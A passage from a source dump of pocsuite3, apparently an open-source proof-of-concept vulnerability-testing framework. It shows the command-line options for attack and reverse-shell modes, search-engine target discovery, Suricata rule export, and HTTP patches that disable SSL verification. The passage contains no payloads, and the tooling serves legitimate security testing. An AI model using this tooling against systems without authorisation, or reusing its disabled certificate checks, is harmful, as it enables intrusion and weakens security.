print_content(content):\n    ret = ''\n    if content.__class__ is BlockData:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is BlockDataLong:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is EndBlockData:\n        ret += print_class(content)\n    elif content.__class__ is NewObject:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is ClassDesc:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is NewClass:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is NewArray:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is Utf:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is LongUtf:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is NewEnum:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is NewClassDesc:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is ProxyClassDesc:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is NullReference:\n        ret += print_class(content)\n    elif content.__class__ is Reset:\n        ret += print_class(content)\n    elif content.__class__ is Reference:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    else:\n        raise Exception('Failed to serialize content')\n    return ret\n\n\ndef print_class(content):\n    return content.__class__.__name__\n\n\ndef get_key_by_value(dictionary, search_value):\n    for key, value in dictionary.iteritems():\n        if value == search_value:\n            return key\n    raise Exception(\"There is no selected element in dictionary\")\n"
  },
  {
    "path": "pocsuite3/lib/parse/__init__.py",
    "content": ""
  },
  {
    "path": "pocsuite3/lib/parse/cmd.py",
    "content": "import argparse\nimport os\nimport sys\n\nfrom pocsuite3.lib.core.common import data_to_stdout\nfrom pocsuite3.lib.core.settings import IS_WIN, CMD_PARSE_WHITELIST\n\nDIY_OPTIONS = []\n\n\ndef cmd_line_parser(argv=None):\n    \"\"\"\n    This function parses the command line parameters and arguments\n    \"\"\"\n\n    if not argv:\n        argv = sys.argv\n\n    _ = os.path.basename(argv[0])\n    usage = \"pocsuite [options]\"\n    parser = argparse.ArgumentParser(prog='Pocsuite3', usage=usage)\n    try:\n        parser.add_argument(\"--version\", dest=\"show_version\", action=\"store_true\",\n                            help=\"Show program's version number and exit\")\n\n        parser.add_argument(\"--update\", dest=\"update_all\", action=\"store_true\",\n                            help=\"Update Pocsuite3\")\n\n        parser.add_argument(\"-n\", \"--new\", dest=\"new\", action=\"store_true\", help=\"Create a PoC template\")\n\n        parser.add_argument(\"-v\", dest=\"verbose\", type=int, default=1, choices=list(range(7)),\n                            help=\"Verbosity level: 0-6 (default 1)\")\n\n        # Target options\n        target = parser.add_argument_group('Target', \"At least one of these \"\n                                                     \"options has to be provided to define the target(s)\")\n        target.add_argument(\"-u\", \"--url\", dest=\"url\", nargs='+',\n                            help=\"Target URL/CIDR (e.g. \\\"http://www.site.com/vuln.php?id=1\\\")\")\n\n        target.add_argument(\"-f\", \"--file\", dest=\"url_file\",\n                            help=\"Scan multiple targets given in a textual file (one per line)\")\n        target.add_argument(\"-p\", \"--ports\", dest=\"ports\",\n                            help=\"add additional port to each target ([proto:]port, e.g. 8080,https:10000)\")\n        target.add_argument(\"-s\", dest=\"skip_target_port\", action=\"store_true\",\n                            help=\"Skip target's port, only use additional port\")\n        target.add_argument(\"-r\", dest=\"poc\", nargs='+', help=\"Load PoC file from local or remote from seebug website\")\n        target.add_argument(\"-k\", dest=\"poc_keyword\", help=\"Filter PoC by keyword, e.g. ecshop\")\n        target.add_argument(\"-c\", dest=\"configFile\", help=\"Load options from a configuration INI file\")\n        target.add_argument(\"-l\", dest=\"poc_list\", action=\"store_true\", help=\"Show all PoC file from local\")\n\n        # Mode options\n        mode = parser.add_argument_group(\"Mode\", \"Pocsuite running mode options\")\n\n        mode.add_argument(\"--verify\", dest=\"mode\", default='verify', action=\"store_const\", const='verify',\n                          help=\"Run poc with verify mode\")\n\n        mode.add_argument(\"--attack\", dest=\"mode\", action=\"store_const\", const='attack',\n                          help=\"Run poc with attack mode\")\n        mode.add_argument(\"--shell\", dest=\"mode\", action=\"store_const\", const='shell',\n                          help=\"Run poc with shell mode\")\n        # Requests options\n        request = parser.add_argument_group(\"Request\", \"Network request options\")\n        request.add_argument(\"--cookie\", dest=\"cookie\", help=\"HTTP Cookie header value\")\n        request.add_argument(\"--host\", dest=\"host\", help=\"HTTP Host header value\")\n        request.add_argument(\"--referer\", dest=\"referer\", help=\"HTTP Referer header value\")\n        request.add_argument(\"--user-agent\", dest=\"agent\", help=\"HTTP User-Agent header value (default random)\")\n        request.add_argument(\"--proxy\", dest=\"proxy\",\n                             help=\"Use a proxy to connect to the target URL (protocol://host:port)\")\n        request.add_argument(\"--proxy-cred\", dest=\"proxy_cred\", help=\"Proxy authentication credentials (name:password)\")\n        request.add_argument(\"--timeout\", dest=\"timeout\", type=float, default=10,\n                             help=\"Seconds to wait before timeout connection (default 10)\")\n        request.add_argument(\"--retry\", dest=\"retry\", type=int, default=0, help=\"Time out retrials times (default 0)\")\n        request.add_argument(\"--delay\", dest=\"delay\", help=\"Delay between two request of one thread\")\n        request.add_argument(\"--headers\", dest=\"headers\", help=\"Extra headers (e.g. \\\"key1: value1\\\\nkey2: value2\\\")\")\n        request.add_argument(\"--http-debug\", dest=\"http_debug\", type=int, default=0, help=\"HTTP debug level (default 0)\")\n        request.add_argument(\"--session-reuse\", dest=\"requests_session_reuse\", action=\"store_true\",\n                             help=\"Enable requests session reuse\")\n        request.add_argument(\"--session-reuse-num\", type=int, dest=\"requests_session_reuse_num\", default=10,\n                             help=\"Requests session reuse number\")\n\n        # Account options\n        group = parser.add_argument_group(\"Account\", \"Account options\")\n        group.add_argument(\"--ceye-token\", dest=\"ceye_token\", help=\"CEye token\")\n        group.add_argument(\"--oob-server\", dest=\"oob_server\",\n                           help=\"Interactsh server to use (default \\\"interact.sh\\\")\")\n        group.add_argument(\"--oob-token\", dest=\"oob_token\",\n                           help=\"Authentication token to connect protected interactsh server\")\n        group.add_argument(\"--seebug-token\", dest=\"seebug_token\", help=\"Seebug token\")\n        group.add_argument(\"--zoomeye-token\", dest=\"zoomeye_token\", help=\"ZoomEye token\")\n        group.add_argument(\"--shodan-token\", dest=\"shodan_token\", help=\"Shodan token\")\n        group.add_argument(\"--fofa-user\", dest=\"fofa_user\", help=\"Fofa user\")\n        group.add_argument(\"--fofa-token\", dest=\"fofa_token\", help=\"Fofa token\")\n        group.add_argument(\"--quake-token\", dest=\"quake_token\", help=\"Quake token\")\n        group.add_argument(\"--hunter-token\", dest=\"hunter_token\", help=\"Hunter token\")\n        group.add_argument(\"--censys-uid\", dest=\"censys_uid\", help=\"Censys uid\")\n        group.add_argument(\"--censys-secret\", dest=\"censys_secret\", help=\"Censys secret\")\n        # Modules options\n        modules = parser.add_argument_group(\n            \"Modules\", \"Modules options\")\n        modules.add_argument(\"--dork\", dest=\"dork\", action=\"store\", default=None,\n                             help=\"Zoomeye dork used for search\")\n        modules.add_argument(\"--dork-zoomeye\", dest=\"dork_zoomeye\", action=\"store\", default=None,\n                             help=\"Zoomeye dork used for search\")\n        modules.add_argument(\"--dork-shodan\", dest=\"dork_shodan\", action=\"store\", default=None,\n                             help=\"Shodan dork used for search\")\n        modules.add_argument(\"--dork-fofa\", dest=\"dork_fofa\", action=\"store\", default=None,\n                             help=\"Fofa dork used for search\")\n        modules.add_argument(\"--dork-quake\", dest=\"dork_quake\", action=\"store\", default=None,\n                             help=\"Quake dork used for search\")\n        modules.add_argument(\"--dork-hunter\", dest=\"dork_hunter\", action=\"store\", default=None,\n                             help=\"Hunter dork used for search\")\n        modules.add_argument(\"--dork-censys\", dest=\"dork_censys\", action=\"store\", default=None,\n                             help=\"Censys dork used for search\")\n        modules.add_argument(\"--max-page\", dest=\"max_page\", type=int, default=1,\n                             help=\"Max page used in search API\")\n        modules.add_argument(\"--page-size\", dest=\"page_size\", type=int, default=20,\n                             help=\"Page size used in search API\"\n                             )\n        modules.add_argument(\"--search-type\", dest=\"search_type\", action=\"store\", default='v4',\n                             help=\"search type used in search API, v4,v6 and web\")\n        modules.add_argument(\"--vul-keyword\", dest=\"vul_keyword\", action=\"store\", default=None,\n                             help=\"Seebug keyword used for search\")\n        modules.add_argument(\"--ssv-id\", dest=\"ssvid\", action=\"store\", default=None,\n                             help=\"Seebug SSVID number for target PoC\")\n        modules.add_argument(\"--lhost\", dest=\"connect_back_host\", action=\"store\", default=None,\n                             help=\"Connect back host for target PoC in shell mode\")\n        modules.add_argument(\"--lport\", dest=\"connect_back_port\", action=\"store\", default=None,\n                             help=\"Connect back port for target PoC in shell mode\")\n        modules.add_argument(\"--tls\", dest=\"enable_tls_listener\", action=\"store_true\", default=False,\n                             help=\"Enable TLS listener in shell mode\")\n        modules.add_argument(\"--comparison\", dest=\"comparison\", help=\"Compare popular web search engines\",\n                             action=\"store_true\",\n                             default=False)\n        modules.add_argument(\"--dork-b64\", dest=\"dork_b64\", help=\"Whether dork is in base64 format\",\n                             action=\"store_true\",\n                             default=False)\n\n        # Optimization options\n        optimization = parser.add_argument_group(\"Optimization\", \"Optimization options\")\n        optimization.add_argument(\"-o\", \"--output\", dest=\"output_path\", help=\"Output file to write (JSON Lines format)\")\n        optimization.add_argument(\"--plugins\", dest=\"plugins\", action=\"store\", default=None,\n                                  help=\"Load plugins to execute\")\n        optimization.add_argument(\"--pocs-path\", dest=\"pocs_path\", action=\"store\", default=None,\n                                  help=\"User defined poc scripts path\")\n        optimization.add_argument(\"--threads\", dest=\"threads\", type=int, default=150,\n                                  help=\"Max number of concurrent network requests (default 150)\")\n        optimization.add_argument(\"--batch\", dest=\"batch\",\n                                  help=\"Automatically choose defaut choice without asking\")\n        optimization.add_argument(\"--requires\", dest=\"check_requires\", action=\"store_true\", default=False,\n                                  help=\"Check install_requires\")\n        optimization.add_argument(\"--quiet\", dest=\"quiet\", action=\"store_true\", default=False,\n                                  help=\"Activate quiet mode, working without logger\")\n        optimization.add_argument(\"--ppt\", dest=\"ppt\", action=\"store_true\", default=False,\n                                  help=\"Hiden sensitive information when published to the network\")\n        optimization.add_argument(\"--pcap\", dest=\"pcap\", action=\"store_true\", default=False,\n                                  help=\"use scapy capture flow\")\n        optimization.add_argument(\"--rule\", dest=\"rule\", action=\"store_true\", default=False,\n                                  help=\"export suricata rules, default export reqeust and response\")\n        optimization.add_argument(\"--rule-req\", dest=\"rule_req\", action=\"store_true\", default=False,\n                                  help=\"only export request rule\")\n        optimization.add_argument(\"--rule-filename\", dest=\"rule_filename\", action=\"store\", default=False,\n                                  help=\"Specify the name of the export rule file\")\n        optimization.add_argument(\"--no-check\", dest=\"no_check\", action=\"store_true\", default=False,\n                                  help=\"Disable URL protocol correction and honeypot check\")\n\n        # docker options\n        docker_environment = parser.add_argument_group(\"Docker Environment\", \"Docker Environment options\")\n        docker_environment.add_argument(\"--docker-start\", dest=\"docker_start\", action=\"store_true\",\n                                        default=False, help=\"Run the docker for PoC\")\n        docker_environment.add_argument(\"--docker-port\", dest=\"docker_port\", action=\"append\",\n                                        default=[], help=\"Publish a container's port(s) to the host\")\n        docker_environment.add_argument(\"--docker-volume\", dest=\"docker_volume\", action=\"append\",\n                                        default=[], help=\"Bind mount a volume\")\n        docker_environment.add_argument(\"--docker-env\", dest=\"docker_env\", action=\"append\", default=[],\n                                        help=\"Set environment variables\")\n        docker_environment.add_argument(\"--docker-only\", dest=\"docker_only\", action=\"store_true\",\n                                        default=False, help=\"Only run docker environment\")\n\n        # web hook options\n        web_hook = parser.add_argument_group('Web Hook', \"Web Hook Options\")\n        web_hook.add_argument(\"--dingtalk-token\", dest=\"dingtalk_token\", help=\"Dingtalk access token\")\n        web_hook.add_argument(\"--dingtalk-secret\", dest=\"dingtalk_secret\", help=\"Dingtalk secret\")\n        web_hook.add_argument(\"--wx-work-key\", dest=\"wx_work_key\", help=\"Weixin Work key\")\n\n        # Diy options\n        diy = parser.add_argument_group(\"Poc options\", \"definition options for PoC\")\n        diy.add_argument(\"--options\", dest=\"show_options\", action=\"store_true\", default=False,\n                         help=\"Show all definition options\")\n\n        for line in argv:\n            if line.startswith(\"--\"):\n                if line[2:] not in CMD_PARSE_WHITELIST:\n                    diy.add_argument(line)\n\n        args = parser.parse_args()\n        return args\n\n    except SystemExit:\n        # Protection against Windows dummy double clicking\n        if IS_WIN:\n            data_to_stdout(\"\\nPress Enter to continue...\")\n            input()\n        raise\n"
  },
  {
    "path": "pocsuite3/lib/parse/configfile.py",
    "content": "import os\nfrom configparser import ConfigParser\n\nfrom pocsuite3.lib.core.data import logger, conf\nfrom pocsuite3.lib.core.enums import OPTION_TYPE\nfrom pocsuite3.lib.core.exception import PocsuiteFilePathException, PocsuiteMissingMandatoryOptionException, \\\n    PocsuiteValueException\nfrom pocsuite3.lib.core.optiondict import optDict\n\n\ndef config_file_parser(configFile):\n    \"\"\"\n    Parse configuration file and save settings into the configuration\n    advanced dictionary.\n    \"\"\"\n\n    # global config\n\n    debugMsg = \"parsing configuration file\"\n    logger.debug(debugMsg)\n\n    if not os.path.isfile(configFile):\n        raise PocsuiteFilePathException(\"file '{}' don't exist\".format(configFile))\n\n    config = ConfigParser()\n    config.read(configFile, encoding='utf-8')\n\n    if not config.has_section(\"Target\"):\n        errMsg = \"missing a mandatory section 'Target' in the configuration file\"\n        raise PocsuiteMissingMandatoryOptionException(errMsg)\n\n    sections = config.sections()\n    for section in sections:\n        options = config.options(section)\n        if options:\n            for option in options:\n                datatype = \"string\"\n                try:\n                    datatype = optDict[section][option]\n                except KeyError:\n                    pass\n\n                try:\n                    if datatype == OPTION_TYPE.BOOLEAN:\n                        value = config.getboolean(section, option) if config.get(section, option) else False\n                    elif datatype == OPTION_TYPE.INTEGER:\n                        value = config.getint(section, option) if config.get(section, option) else 0\n                    elif datatype == OPTION_TYPE.FLOAT:\n                        value = config.getfloat(section, option) if config.get(section, option) else 0.0\n                    else:\n                        value = config.get(section, option)\n                except ValueError as ex:\n                    errMsg = \"error occurred while processing the option \"\n                    errMsg += \"'%s' in provided configuration file ('%s')\" % (option, ex)\n                    raise PocsuiteValueException(errMsg)\n\n                if value:\n                    conf[option] = value\n"
  },
  {
    "path": "pocsuite3/lib/parse/dockerfile.py",
    "content": "import re\nfrom pocsuite3.lib.core.data import conf\nfrom pocsuite3.lib.core.data import logger\nfrom pocsuite3.lib.core.common import get_file_text\n\n\ndef parse_dockerfile(file):\n        regx_rules = [\n            \"name = '(.*)'\",\n            \"vulID = '(.*)'\",\n            r\"dockerfile = '''([\\s\\S]*?)'''\",\n        ]\n        result = {\n            \"name\": 0,\n            \"vulID\": 1,\n            \"dockerfile\": 2,\n        }\n        st = get_file_text(file)\n        for k, v in result.items():\n            pattern = re.compile(regx_rules[v])\n            match = pattern.findall(st)\n            if match is not None:\n                result[k] = match[0]\n\n        return result\n\n\n"
  },
  {
    "path": "pocsuite3/lib/parse/rules.py",
    "content": "import re\nfrom pocsuite3.lib.core.data import conf\nfrom pocsuite3.lib.core.data import logger\nfrom pocsuite3.lib.core.common import get_file_text\n\n\ndef regex_rule(files):\n    if not conf.rule_filename:\n        conf.rule_filename = \"rule.rule\"\n    for file_name in files:\n        regx_rules = [\"name = '(.*)'\",\n                      r\"suricata_request = '''([\\s\\S]*?)'''\",\n                      r\"references = \\['(.*)'\\]\", \"createDate = '(.*)'\", \"updateDate = '(.*)'\",\n                      \"vulID = '(.*)'\",\n                      \"version = '(.*)'\",\n                      r\"suricata_response = '''([\\s\\S]*?)'''\",\n                      ]\n\n        information_list = {\"name\": \"0\",\n                            \"suricata_request\": \"1\",\n                            \"references\": \"2\",\n                            \"createDate\": \"3\",\n                            \"updateDate\": \"4\",\n                            \"vulID\": \"5\",\n                            \"version\": \"6\",\n                            \"suricata_response\": \"7\",\n                            \"flowbits\": \"\"}\n\n        st = get_file_text(file_name)\n        for key, value in information_list.items():\n            if value:\n                pattern = re.compile(regx_rules[int(value)])\n                cve_list = pattern.findall(st)\n                if cve_list:\n                    if \"name\" in regx_rules[int(value)]:\n                        information_list[key] = cve_list[0].replace(\"\\n\", \"\")\n                    else:\n                        if \"suricata_request\" not in regx_rules[int(value)] and \"suricata_response\" not in regx_rules[int(value)]:\n                            information_list[key] = cve_list[0].replace(\"\\n\", \"\").replace(\" \", \"\")\n                        else:\n                            information_list[key] = cve_list[0].replace(\"\\n\", \"\")\n                else:\n                    information_list[key] = \"\"\n        if not information_list[\"suricata_request\"]:\n            continue\n        if \"、\" in information_list[\"vulID\"]:\n            information_list[\"vulID\"] = information_list[\"vulID\"].split(\"、\")[0]\n        elif not information_list[\"vulID\"]:\n            information_list[\"vulID\"] = 0\n        if information_list[\"suricata_response\"] and not conf.rule_req:\n            # 6220553==seebug.(　ˇωˇ)\n            rule_to_server = '''alert http any any -> any any (msg:\"{}\";flow:established,to_server;{}classtype:web-application-attack;reference:url,{}; metadata:created_at {}, updated_at {};flowbits:set,{};flowbits:noalert;sid:{};rev:{};)'''.format(\n                information_list[\"name\"], information_list[\"suricata_request\"], information_list[\"references\"],\n                information_list[\"createDate\"], information_list[\"updateDate\"], information_list[\"name\"].replace(\" \", \"_\"),\n                6220553 + int(float(information_list[\"vulID\"])) * 2, int(float(information_list[\"version\"])))\n\n            rule_to_client = '''alert http any any -> any any (msg:\"{}\";flow:established,to_client;{}classtype:web-application-attack;reference:url,{}; metadata:created_at {}, updated_at {};flowbits:isset,{};sid:{};rev:{};)'''.format(\n                information_list[\"name\"], information_list[\"suricata_response\"], information_list[\"references\"],\n                information_list[\"createDate\"], information_list[\"updateDate\"], information_list[\"name\"].replace(\" \", \"_\"),\n                6220553 + int(float(information_list[\"vulID\"])) * 2 + 1, int(float(information_list[\"version\"])))\n        else:\n            rule_to_server = '''alert http any any -> any any (msg:\"{}\";flow:established,to_server;{}classtype:web-application-attack;reference:url,{}; metadata:created_at {}, updated_at {};sid:{};rev:{};)'''.format(\n                information_list[\"name\"], information_list[\"suricata_request\"], information_list[\"references\"],\n                information_list[\"createDate\"], information_list[\"updateDate\"],\n                6220553 + int(float(information_list[\"vulID\"])) * 2,\n                int(float(information_list[\"version\"])))\n            rule_to_client = \"\"\n        with open(conf.rule_filename, \"a\", encoding=\"utf-8\") as f:\n            f.write(rule_to_server+\"\\n\")\n            f.write(rule_to_client+\"\\n\")\n        f.close()\n        logger.info(\"{} rule is:\".format(file_name[file_name.rfind(\"\\\\\")+1:]))\n        print(rule_to_server)\n        print(rule_to_client)\n"
  },
  {
    "path": "pocsuite3/lib/parse/url.py",
    "content": "from pocsuite3.lib.utils import urlparse\n\n\nclass URL:\n\n    def __init__(self, schema: bytes, host: bytes, port, path: bytes,\n                 query: bytes, fragment: bytes, userinfo: bytes):\n        self.schema = schema.decode('utf-8')\n        self.host = host.decode('utf-8')\n        if port and port != 0:\n            self.port = port\n        else:\n            if schema == b'https':\n                self.port = 443\n            else:\n                self.port = 80\n        self.path = path.decode('utf-8') if path else ''\n        self.query = query.decode('utf-8') if query else None\n        self.fragment = fragment.decode('utf-8') if fragment else None\n        self.userinfo = userinfo.decode('utf-8') if userinfo else None\n        self.netloc = self.schema + '://' + self.host + ':' + str(self.port)\n\n    @property\n    def raw(self):\n        return self.netloc + (self.path or '') + (self.query or '') + (self.fragment or '')\n\n    def __repr__(self):\n        return ('<URL schema: {!r}, host: {!r}, port: {!r}, path: {!r}, '\n                'query: {!r}, fragment: {!r}, userinfo: {!r}>'\n                .format(self.schema, self.host, self.port, self.path, self.query, self.fragment, self.userinfo))\n\n\ndef parse_url(url):\n    try:\n        parsed = urlparse(url)\n        userinfo = b'{parsed.username}:{parsed.password}'\n        return URL(parsed.scheme, parsed.hostname, parsed.port, parsed.path, parsed.query, parsed.fragment, userinfo)\n    except Exception:\n        raise(\"invalid url {!r}\".format(url))\n"
  },
  {
    "path": "pocsuite3/lib/request/__init__.py",
    "content": "import requests\nfrom pocsuite3.lib.request.patch import patch_all\n\n\npatch_all()\n"
  },
  {
    "path": "pocsuite3/lib/request/patch/__init__.py",
    "content": "import urllib3\n\nfrom pocsuite3.lib.core.exception import PocsuiteIncompleteRead\nfrom .remove_ssl_verify import remove_ssl_verify\nfrom .remove_warnings import disable_warnings\nfrom .hook_request import patch_session\nfrom .add_httpraw import patch_addraw\nfrom .hook_request_redirect import patch_redirect\nfrom .hook_urllib3_parse_url import patch_urllib3_parse_url\nfrom .unquote_request_uri import unquote_request_uri\n\n\ndef patch_all():\n    # fix https://github.com/urllib3/urllib3/issues/1790\n    patch_urllib3_parse_url()\n    unquote_request_uri()\n    urllib3.response.HTTPResponse._update_chunk_length = _update_chunk_length\n    disable_warnings()\n    remove_ssl_verify()\n    patch_session()\n    patch_addraw()\n    patch_redirect()\n\n\ndef _update_chunk_length(self):\n    # First, we'll figure out length of a chunk and then\n    # we'll try to read it from socket.\n    # Fix some chunked errors that urllib3 does not recognize\n    if self.chunk_left is not None:\n        return\n    line = self._fp.fp.readline()\n    line = line.split(b\";\", 1)[0]\n    if not line:\n        self.chunk_left = 0\n        return\n    try:\n        self.chunk_left = int(line, 16)\n    except ValueError:\n        # Invalid chunked protocol response, abort.\n        self.close()\n        raise PocsuiteIncompleteRead(line)\n"
  },
  {
    "path": "pocsuite3/lib/request/patch/add_httpraw.py",
    "content": "import requests\nfrom requests.sessions import Session\nimport json\n\nfrom requests.structures import CaseInsensitiveDict\n\n\ndef extract_dict(text, sep, sep2=\"=\"):\n    \"\"\"Split the string into a dictionary according to the split method\n\n    :param text: Split text\n    :param sep: The first character of the split, usually'\\n'\n    :param sep2: The second character of the split, the default is '='\n    :return: Return a dict type, the key is the 0th position of sep2,\n     and the value is the first position of sep2.\n     Only the text can be converted into a dictionary,\n     if the text is of other types, an error will occur\n    \"\"\"\n    _dict = CaseInsensitiveDict([l.split(sep2, 1) for l in text.split(sep)])\n    return _dict\n\n\ndef httpraw(raw: str, ssl: bool = False, **kwargs):\n    \"\"\"\n    Send the original HTTP packet request, if you set the parameters such as headers in the parameters, the parameters\n    you set will be sent\n\n    :param raw: Original packet text\n    :param ssl: whether is HTTPS\n    :param kwargs: Support setting of parameters in requests\n    :return:requests.Response\n    \"\"\"\n    raw = raw.strip()\n    # Clear up unnecessary spaces\n    raws = list(map(lambda x: x.strip(), raw.splitlines()))\n    try:\n        method, path, protocol = raws[0].split(\" \")\n    except Exception:\n        raise Exception(\"Protocol format error\")\n    post = None\n    _json = None\n    if method.upper() == \"POST\":\n        index = 0\n        for i in raws:\n            index += 1\n            if i.strip() == \"\":\n                break\n        if len(raws) == index:\n            raise Exception\n        tmp_headers = raws[1:index - 1]\n        tmp_headers = extract_dict('\\n'.join(tmp_headers), '\\n', \": \")\n        postData = '\\n'.join(raws[index:])\n        try:\n            json.loads(postData)\n            _json = postData\n        except ValueError:\n            post = postData\n    else:\n        tmp_headers = extract_dict('\\n'.join(raws[1:]), '\\n', \": \")\n    netloc = \"http\" if not ssl else \"https\"\n    host = tmp_headers.get(\"Host\", None)\n    if host is None:\n        raise Exception(\"Host is None\")\n    del tmp_headers[\"Host\"]\n    url = \"{0}://{1}\".format(netloc, host + path)\n\n    kwargs.setdefault('allow_redirects', True)\n    kwargs.setdefault('data', post)\n    kwargs.setdefault('headers', tmp_headers)\n    kwargs.setdefault('json', _json)\n\n    with Session() as session:\n        return session.request(method=method, url=url, **kwargs)\n\n\ndef patch_addraw():\n    requests.httpraw = httpraw\n"
  },
  {
    "path": "pocsuite3/lib/request/patch/hook_request.py",
    "content": "from pocsuite3.lib.core.data import conf\nfrom pocsuite3.lib.core.enums import HTTP_HEADER\nfrom pocsuite3.lib.utils import generate_random_user_agent, urlparse\nfrom requests.models import Request\nfrom requests.sessions import Session\nfrom requests.sessions import merge_cookies\nfrom requests.cookies import RequestsCookieJar\nfrom requests.utils import get_encodings_from_content, to_key_val_list\nfrom requests.compat import OrderedDict, Mapping\n\n\ndef session_request(self, method, url,\n                    params=None, data=None, headers=None, cookies=None, files=None, auth=None,\n                    timeout=None,\n                    allow_redirects=True, proxies=None, hooks=None, stream=None, verify=False, cert=None, json=None):\n    # In order to remove headers that are set to None\n    def _merge_retain_none(request_setting, session_setting, dict_class=OrderedDict):\n\n        if session_setting is None:\n            return request_setting\n\n        if request_setting is None:\n            return session_setting\n\n        # Bypass if not a dictionary (e.g. verify)\n        if not (\n                isinstance(session_setting, Mapping) and\n                isinstance(request_setting, Mapping)\n        ):\n            return request_setting\n\n        merged_setting = dict_class(to_key_val_list(session_setting))\n        merged_setting.update(to_key_val_list(request_setting))\n\n        return merged_setting\n\n    # Create the Request.\n    if conf.get('http_headers', {}) == {}:\n        conf.http_headers = {}\n\n    merged_cookies = merge_cookies(merge_cookies(RequestsCookieJar(), self.cookies),\n                                   cookies or conf.get('cookie', None))\n    if not conf.get('agent', '') and HTTP_HEADER.USER_AGENT not in conf.get('http_headers', {}):\n        conf.http_headers[HTTP_HEADER.USER_AGENT] = generate_random_user_agent()\n\n    # Fix no connection adapters were found\n    pr = urlparse(url)\n    if pr.scheme.lower() not in ['http', 'https']:\n        url = pr._replace(scheme='https' if str(pr.port).endswith('443') else 'http').geturl()\n\n    req = Request(\n        method=method.upper(),\n        url=url,\n        headers=_merge_retain_none(headers, conf.get('http_headers', {})),\n        files=files,\n        data=data or {},\n        json=json,\n        params=params or {},\n        auth=auth,\n        cookies=merged_cookies,\n        hooks=hooks,\n    )\n    prep = self.prepare_request(req)\n\n    if proxies is None:\n        proxies = conf.get('proxies', {})\n\n    settings = self.merge_environment_settings(\n        prep.url, proxies, stream, verify, cert\n    )\n\n    timeout = timeout or conf.get(\"timeout\", 10)\n    if timeout:\n        timeout = float(timeout)\n\n    # Send the request.\n    send_kwargs = {\n        'timeout': timeout,\n        'allow_redirects': allow_redirects,\n    }\n    send_kwargs.update(settings)\n    resp = self.send(prep, **send_kwargs)\n\n    if resp.encoding == 'ISO-8859-1':\n        encodings = get_encodings_from_content(resp.text)\n        if encodings:\n            encoding = encodings[0]\n        else:\n            encoding = resp.apparent_encoding\n\n        resp.encoding = encoding\n\n    return resp\n\n\ndef patch_session():\n    Session.request = session_request\n"
  },
  {
    "path": "pocsuite3/lib/request/patch/hook_request_redirect.py",
    "content": "import requests\nfrom requests._internal_utils import to_native_string\nfrom requests.compat import is_py3\n\n\ndef get_redirect_target(self, resp):\n    \"\"\"hook requests.Session.get_redirect_target method\"\"\"\n    if resp.is_redirect:\n        location = resp.headers['location']\n        if is_py3:\n            location = location.encode('latin1')\n\n        # fix https://github.com/psf/requests/issues/4926\n        encoding_list = ['utf-8']\n        if resp.encoding and resp.encoding not in encoding_list:\n            encoding_list.append(resp.encoding)\n        if resp.apparent_encoding and resp.apparent_encoding not in encoding_list:\n            encoding_list.append(resp.apparent_encoding)\n        encoding_list.append('latin1')\n\n        for encoding in encoding_list:\n            try:\n                return to_native_string(location, encoding)\n            except Exception:\n                pass\n    return None\n\n\ndef patch_redirect():\n    requests.Session.get_redirect_target = get_redirect_target\n"
  },
  {
    "path": "pocsuite3/lib/request/patch/hook_urllib3_parse_url.py",
    "content": "from __future__ import absolute_import\nfrom collections import namedtuple\nimport urllib3\n\n\nclass HTTPError(Exception):\n    \"Base exception used by this module.\"\n    pass\n\n\nclass LocationValueError(ValueError, HTTPError):\n    \"Raised when there is something wrong with a given URL input.\"\n    pass\n\n\nclass LocationParseError(LocationValueError):\n    \"Raised when get_host or similar fails to parse the URL input.\"\n\n    def __init__(self, location):\n        message = \"Failed to parse: %s\" % location\n        HTTPError.__init__(self, message)\n\n        self.location = location\n\n\nurl_attrs = ['scheme', 'auth', 'host', 'port', 'path', 'query', 'fragment']\n\n# We only want to normalize urls with an HTTP(S) scheme.\n# urllib3 infers URLs without a scheme (None) to be http.\nNORMALIZABLE_SCHEMES = ('http', 'https', None)\n\n\nclass Url(namedtuple('Url', url_attrs)):\n    \"\"\"\n    Datastructure for representing an HTTP URL. Used as a return value for\n    :func:`parse_url`. Both the scheme and host are normalized as they are\n    both case-insensitive according to RFC 3986.\n    \"\"\"\n    __slots__ = ()\n\n    def __new__(cls, scheme=None, auth=None, host=None, port=None, path=None,\n                query=None, fragment=None):\n        if path and not path.startswith('/'):\n            path = '/' + path\n        if scheme:\n            scheme = scheme.lower()\n        if host and scheme in NORMALIZABLE_SCHEMES:\n            host = host.lower()\n        return super(Url, cls).__new__(cls, scheme, auth, host, port, path,\n                                       query, fragment)\n\n    @property\n    def hostname(self):\n        \"\"\"For backwards-compatibility with urlparse. We're nice like that.\"\"\"\n        return self.host\n\n    @property\n    def request_uri(self):\n        \"\"\"Absolute path including the query string.\"\"\"\n        uri = self.path or '/'\n\n        if self.query is not None:\n            uri += '?' + self.query\n\n        return uri\n\n    @property\n    def netloc(self):\n        \"\"\"Network location including host and port\"\"\"\n        if self.port:\n            return '%s:%d' % (self.host, self.port)\n        return self.host\n\n    @property\n    def url(self):\n        \"\"\"\n        Convert self into a url\n\n        This function should more or less round-trip with :func:`.parse_url`. The\n        returned url may not be exactly the same as the url inputted to\n        :func:`.parse_url`, but it should be equivalent by the RFC (e.g., urls\n        with a blank port will have : removed).\n\n        Example: ::\n\n            >>> U = parse_url('http://google.com/mail/')\n            >>> U.url\n            'http://google.com/mail/'\n            >>> Url('http', 'username:password', 'host.com', 80,\n            ... '/path', 'query', 'fragment').url\n            'http://username:password@host.com:80/path?query#fragment'\n        \"\"\"\n        scheme, auth, host, port, path, query, fragment = self\n        url = ''\n\n        # We use \"is not None\" we want things to happen with empty strings (or 0 port)\n        if scheme is not None:\n            url += scheme + '://'\n        if auth is not None:\n            url += auth + '@'\n        if host is not None:\n            url += host\n        if port is not None:\n            